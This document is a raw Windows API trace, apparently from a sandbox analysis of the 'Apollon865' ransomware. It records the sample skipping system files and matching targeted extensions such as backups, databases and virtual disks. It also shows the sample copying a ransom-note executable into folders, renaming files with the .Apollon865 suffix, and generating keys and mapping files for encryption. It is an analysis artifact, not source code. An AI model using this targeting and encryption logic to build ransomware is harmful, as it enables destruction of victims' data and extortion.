	[0054.365] lstrcmpiW (lpString1="ET", lpString2="nv") returned -1
	[0054.365] lstrcmpiW (lpString1="ET", lpString2="te") returned -1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="Apollon865.txt.exe") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2=".") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="..") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="windows") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="bootmgr") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="temp") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="pagefile.sys") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="boot") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="ids.txt") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="ntuser.dat") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="perflogs") returned 1
	[0054.365] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2="MSBuild") returned 1
	[0054.365] lstrlenW (lpString="ZoneInfoMappings") returned 16
	[0054.365] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\WET") returned 43
	[0054.365] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="ZoneInfoMappings" | out: lpString1="ZoneInfoMappings") returned="ZoneInfoMappings"
	[0054.365] lstrlenW (lpString="ZoneInfoMappings") returned 16
	[0054.365] lstrlenW (lpString="Apollon865") returned 10
	[0054.365] lstrcmpiW (lpString1="foMappings", lpString2="Apollon865") returned 1
	[0054.365] lstrlenW (lpString=".dll") returned 4
	[0054.366] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2=".dll") returned 1
	[0054.366] lstrlenW (lpString=".lnk") returned 4
	[0054.366] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2=".lnk") returned 1
	[0054.366] lstrlenW (lpString=".ini") returned 4
	[0054.366] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2=".ini") returned 1
	[0054.366] lstrlenW (lpString=".sys") returned 4
	[0054.366] lstrcmpiW (lpString1="ZoneInfoMappings", lpString2=".sys") returned 1
	[0054.366] lstrlenW (lpString="ZoneInfoMappings") returned 16
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="bak") returned 1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="ba_") returned 1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="dbb") returned 1
	[0054.366] lstrcmpiW (lpString1="ings", lpString2="vmdk") returned -1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="rar") returned -1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="zip") returned -1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="tgz") returned -1
	[0054.366] lstrcmpiW (lpString1="ings", lpString2="vbox") returned -1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="vdi") returned -1
	[0054.366] lstrcmpiW (lpString1="ngs", lpString2="vhd") returned -1
	[0054.366] lstrcmpiW (lpString1="ings", lpString2="vhdx") returned -1
	[0054.366] lstrcmpiW (lpString1="ings", lpString2="avhd") returned 1
	[0054.367] lstrcmpiW (lpString1="gs", lpString2="db") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="db2") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="db3") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="dbf") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="mdf") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="mdb") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="sql") returned -1
	[0054.367] lstrcmpiW (lpString1="ppings", lpString2="sqlite") returned -1
	[0054.367] lstrcmpiW (lpString1="appings", lpString2="sqlite3") returned -1
	[0054.367] lstrcmpiW (lpString1="Mappings", lpString2="sqlitedb") returned -1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="xml") returned -1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="$er") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="4dd") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="4dl") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="^^^") returned 1
	[0054.367] lstrcmpiW (lpString1="ngs", lpString2="abs") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="abx") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accdb") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accdc") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accde") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accdr") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accdt") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accdw") returned 1
	[0054.368] lstrcmpiW (lpString1="pings", lpString2="accft") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="adb") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="adb") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="ade") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="adf") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="adn") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="adp") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="alf") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="ask") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="btr") returned 1
	[0054.368] lstrcmpiW (lpString1="ngs", lpString2="cat") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="cdb") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="ckp") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="cma") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="cpd") returned 1
	[0054.369] lstrcmpiW (lpString1="ppings", lpString2="dacpac") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dad") returned 1
	[0054.369] lstrcmpiW (lpString1="foMappings", lpString2="dadiagrams") returned 1
	[0054.369] lstrcmpiW (lpString1="Mappings", lpString2="daschema") returned 1
	[0054.369] lstrcmpiW (lpString1="foMappings", lpString2="db-journal") returned 1
	[0054.369] lstrcmpiW (lpString1="ppings", lpString2="db-shm") returned 1
	[0054.369] lstrcmpiW (lpString1="ppings", lpString2="db-wal") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dbc") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dbs") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dbt") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dbv") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dbx") returned 1
	[0054.369] lstrcmpiW (lpString1="ngs", lpString2="dcb") returned 1
	[0054.370] lstrcmpiW (lpString1="ngs", lpString2="dct") returned 1
	[0054.370] lstrcmpiW (lpString1="ngs", lpString2="dcx") returned 1
	[0054.370] lstrcmpiW (lpString1="ngs", lpString2="ddl") returned 1
	[0054.370] lstrcmpiW (lpString1="ings", lpString2="dlis") returned 1
	[0054.370] lstrcmpiW (lpString1="ngs", lpString2="dp1") returned 1
	[0054.370] lstrcmpiW (lpString1="ngs", lpString2="dqy") returned 1
	[0054.370] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV"
	[0054.370] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5800 | out: hHeap=0x580000) returned 1
	[0054.370] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0054.370] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned 47
	[0054.370] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV"
	[0054.370] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.370] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.377] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x387b8bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x387b8bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.377] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.377] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.377] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.377] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x387b8bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x387b8bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.377] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.377] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.377] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.377] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.377] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AST4", cAlternateFileName="")) returned 1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="Apollon865.txt.exe") returned 1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2=".") returned 1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="..") returned 1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="windows") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="bootmgr") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="temp") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="pagefile.sys") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="boot") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="ids.txt") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="ntuser.dat") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="perflogs") returned -1
	[0054.377] lstrcmpiW (lpString1="AST4", lpString2="MSBuild") returned -1
	[0054.377] lstrlenW (lpString="AST4") returned 4
	[0054.377] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\*") returned 49
	[0054.377] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AST4" | out: lpString1="AST4") returned="AST4"
	[0054.377] lstrlenW (lpString="AST4") returned 4
	[0054.378] lstrlenW (lpString="Apollon865") returned 10
	[0054.378] lstrlenW (lpString=".dll") returned 4
	[0054.378] lstrlenW (lpString=".lnk") returned 4
	[0054.378] lstrlenW (lpString=".ini") returned 4
	[0054.378] lstrlenW (lpString=".sys") returned 4
	[0054.378] lstrlenW (lpString="AST4") returned 4
	[0054.378] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AST4ADT" | out: lpString1="AST4ADT") returned="AST4ADT"
	[0054.378] lstrlenW (lpString="AST4ADT") returned 7
	[0054.378] lstrlenW (lpString="Apollon865") returned 10
	[0054.378] lstrlenW (lpString=".dll") returned 4
	[0054.378] lstrcmpiW (lpString1="AST4ADT", lpString2=".dll") returned 1
	[0054.378] lstrlenW (lpString=".lnk") returned 4
	[0054.378] lstrcmpiW (lpString1="AST4ADT", lpString2=".lnk") returned 1
	[0054.378] lstrlenW (lpString=".ini") returned 4
	[0054.378] lstrcmpiW (lpString1="AST4ADT", lpString2=".ini") returned 1
	[0054.378] lstrlenW (lpString=".sys") returned 4
	[0054.378] lstrcmpiW (lpString1="AST4ADT", lpString2=".sys") returned 1
	[0054.378] lstrlenW (lpString="AST4ADT") returned 7
	[0054.378] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CST6" | out: lpString1="CST6") returned="CST6"
	[0054.378] lstrlenW (lpString="CST6") returned 4
	[0054.378] lstrlenW (lpString="Apollon865") returned 10
	[0054.378] lstrlenW (lpString=".dll") returned 4
	[0054.378] lstrlenW (lpString=".lnk") returned 4
	[0054.378] lstrlenW (lpString=".ini") returned 4
	[0054.378] lstrlenW (lpString=".sys") returned 4
	[0054.378] lstrlenW (lpString="CST6") returned 4
	[0054.378] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="CST6CDT" | out: lpString1="CST6CDT") returned="CST6CDT"
	[0054.378] lstrlenW (lpString="CST6CDT") returned 7
	[0054.378] lstrlenW (lpString="Apollon865") returned 10
	[0054.379] lstrlenW (lpString=".dll") returned 4
	[0054.379] lstrcmpiW (lpString1="CST6CDT", lpString2=".dll") returned 1
	[0054.379] lstrlenW (lpString=".lnk") returned 4
	[0054.379] lstrcmpiW (lpString1="CST6CDT", lpString2=".lnk") returned 1
	[0054.379] lstrlenW (lpString=".ini") returned 4
	[0054.379] lstrcmpiW (lpString1="CST6CDT", lpString2=".ini") returned 1
	[0054.379] lstrlenW (lpString=".sys") returned 4
	[0054.379] lstrcmpiW (lpString1="CST6CDT", lpString2=".sys") returned 1
	[0054.379] lstrlenW (lpString="CST6CDT") returned 7
	[0054.379] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EST5" | out: lpString1="EST5") returned="EST5"
	[0054.379] lstrlenW (lpString="EST5") returned 4
	[0054.379] lstrlenW (lpString="Apollon865") returned 10
	[0054.379] lstrlenW (lpString=".dll") returned 4
	[0054.379] lstrlenW (lpString=".lnk") returned 4
	[0054.379] lstrlenW (lpString=".ini") returned 4
	[0054.379] lstrlenW (lpString=".sys") returned 4
	[0054.379] lstrlenW (lpString="EST5") returned 4
	[0054.379] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="EST5EDT" | out: lpString1="EST5EDT") returned="EST5EDT"
	[0054.379] lstrlenW (lpString="EST5EDT") returned 7
	[0054.379] lstrlenW (lpString="Apollon865") returned 10
	[0054.379] lstrlenW (lpString=".dll") returned 4
	[0054.379] lstrcmpiW (lpString1="EST5EDT", lpString2=".dll") returned 1
	[0054.379] lstrlenW (lpString=".lnk") returned 4
	[0054.379] lstrcmpiW (lpString1="EST5EDT", lpString2=".lnk") returned 1
	[0054.379] lstrlenW (lpString=".ini") returned 4
	[0054.379] lstrcmpiW (lpString1="EST5EDT", lpString2=".ini") returned 1
	[0054.379] lstrlenW (lpString=".sys") returned 4
	[0054.379] lstrcmpiW (lpString1="EST5EDT", lpString2=".sys") returned 1
	[0054.379] lstrlenW (lpString="EST5EDT") returned 7
	[0054.379] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="HST10" | out: lpString1="HST10") returned="HST10"
	[0054.380] lstrlenW (lpString="HST10") returned 5
	[0054.380] lstrlenW (lpString="Apollon865") returned 10
	[0054.380] lstrlenW (lpString=".dll") returned 4
	[0054.380] lstrcmpiW (lpString1="HST10", lpString2=".dll") returned 1
	[0054.380] lstrlenW (lpString=".lnk") returned 4
	[0054.380] lstrcmpiW (lpString1="HST10", lpString2=".lnk") returned 1
	[0054.380] lstrlenW (lpString=".ini") returned 4
	[0054.380] lstrcmpiW (lpString1="HST10", lpString2=".ini") returned 1
	[0054.380] lstrlenW (lpString=".sys") returned 4
	[0054.380] lstrcmpiW (lpString1="HST10", lpString2=".sys") returned 1
	[0054.380] lstrlenW (lpString="HST10") returned 5
	[0054.380] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MST7" | out: lpString1="MST7") returned="MST7"
	[0054.380] lstrlenW (lpString="MST7") returned 4
	[0054.380] lstrlenW (lpString="Apollon865") returned 10
	[0054.380] lstrlenW (lpString=".dll") returned 4
	[0054.380] lstrlenW (lpString=".lnk") returned 4
	[0054.380] lstrlenW (lpString=".ini") returned 4
	[0054.380] lstrlenW (lpString=".sys") returned 4
	[0054.380] lstrlenW (lpString="MST7") returned 4
	[0054.380] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MST7MDT" | out: lpString1="MST7MDT") returned="MST7MDT"
	[0054.380] lstrlenW (lpString="MST7MDT") returned 7
	[0054.380] lstrlenW (lpString="Apollon865") returned 10
	[0054.380] lstrlenW (lpString=".dll") returned 4
	[0054.380] lstrcmpiW (lpString1="MST7MDT", lpString2=".dll") returned 1
	[0054.380] lstrlenW (lpString=".lnk") returned 4
	[0054.380] lstrcmpiW (lpString1="MST7MDT", lpString2=".lnk") returned 1
	[0054.380] lstrlenW (lpString=".ini") returned 4
	[0054.380] lstrcmpiW (lpString1="MST7MDT", lpString2=".ini") returned 1
	[0054.380] lstrlenW (lpString=".sys") returned 4
	[0054.380] lstrcmpiW (lpString1="MST7MDT", lpString2=".sys") returned 1
	[0054.380] lstrlenW (lpString="MST7MDT") returned 7
	[0054.381] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT.Apollon865") returned 66
	[0054.381] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7mdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7mdt.apollon865"), dwFlags=0x1) returned 1
	[0054.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7mdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.382] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2288) returned 1
	[0054.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.382] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.383] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.383] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.383] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf0, lpName=0x0) returned 0x150
	[0054.385] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf0) returned 0x100000
	[0054.385] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.386] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.386] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.387] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.387] CloseHandle (hObject=0x150) returned 1
	[0054.387] CloseHandle (hObject=0xc0) returned 1
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.387] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PST8", cAlternateFileName="")) returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="Apollon865.txt.exe") returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2=".") returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="..") returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="windows") returned -1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="bootmgr") returned 1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="temp") returned -1
	[0054.387] lstrcmpiW (lpString1="PST8", lpString2="pagefile.sys") returned 1
	[0054.388] lstrcmpiW (lpString1="PST8", lpString2="boot") returned 1
	[0054.388] lstrcmpiW (lpString1="PST8", lpString2="ids.txt") returned 1
	[0054.388] lstrcmpiW (lpString1="PST8", lpString2="ntuser.dat") returned 1
	[0054.388] lstrcmpiW (lpString1="PST8", lpString2="perflogs") returned 1
	[0054.388] lstrcmpiW (lpString1="PST8", lpString2="MSBuild") returned 1
	[0054.388] lstrlenW (lpString="PST8") returned 4
	[0054.388] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT") returned 55
	[0054.388] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PST8" | out: lpString1="PST8") returned="PST8"
	[0054.388] lstrlenW (lpString="PST8") returned 4
	[0054.388] lstrlenW (lpString="Apollon865") returned 10
	[0054.388] lstrlenW (lpString=".dll") returned 4
	[0054.388] lstrlenW (lpString=".lnk") returned 4
	[0054.388] lstrlenW (lpString=".ini") returned 4
	[0054.388] lstrlenW (lpString=".sys") returned 4
	[0054.388] lstrlenW (lpString="PST8") returned 4
	[0054.388] lstrlenW (lpString="bak") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="bak") returned 1
	[0054.388] lstrlenW (lpString="ba_") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="ba_") returned 1
	[0054.388] lstrlenW (lpString="dbb") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="dbb") returned 1
	[0054.388] lstrlenW (lpString="vmdk") returned 4
	[0054.388] lstrlenW (lpString="rar") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="rar") returned 1
	[0054.388] lstrlenW (lpString="zip") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="zip") returned -1
	[0054.388] lstrlenW (lpString="tgz") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="tgz") returned -1
	[0054.388] lstrlenW (lpString="vbox") returned 4
	[0054.388] lstrlenW (lpString="vdi") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="vdi") returned -1
	[0054.388] lstrlenW (lpString="vhd") returned 3
	[0054.388] lstrcmpiW (lpString1="ST8", lpString2="vhd") returned -1
	[0054.388] lstrlenW (lpString="vhdx") returned 4
	[0054.388] lstrlenW (lpString="avhd") returned 4
	[0054.389] lstrlenW (lpString="db") returned 2
	[0054.389] lstrcmpiW (lpString1="T8", lpString2="db") returned 1
	[0054.389] lstrlenW (lpString="db2") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="db2") returned 1
	[0054.389] lstrlenW (lpString="db3") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="db3") returned 1
	[0054.389] lstrlenW (lpString="dbf") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="dbf") returned 1
	[0054.389] lstrlenW (lpString="mdf") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="mdf") returned 1
	[0054.389] lstrlenW (lpString="mdb") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="mdb") returned 1
	[0054.389] lstrlenW (lpString="sql") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="sql") returned 1
	[0054.389] lstrlenW (lpString="sqlite") returned 6
	[0054.389] lstrlenW (lpString="sqlite3") returned 7
	[0054.389] lstrlenW (lpString="sqlitedb") returned 8
	[0054.389] lstrlenW (lpString="xml") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="xml") returned -1
	[0054.389] lstrlenW (lpString="$er") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="$er") returned 1
	[0054.389] lstrlenW (lpString="4dd") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="4dd") returned 1
	[0054.389] lstrlenW (lpString="4dl") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="4dl") returned 1
	[0054.389] lstrlenW (lpString="^^^") returned 3
	[0054.389] lstrcmpiW (lpString1="ST8", lpString2="^^^") returned 1
	[0054.389] lstrlenW (lpString="abs") returned 3
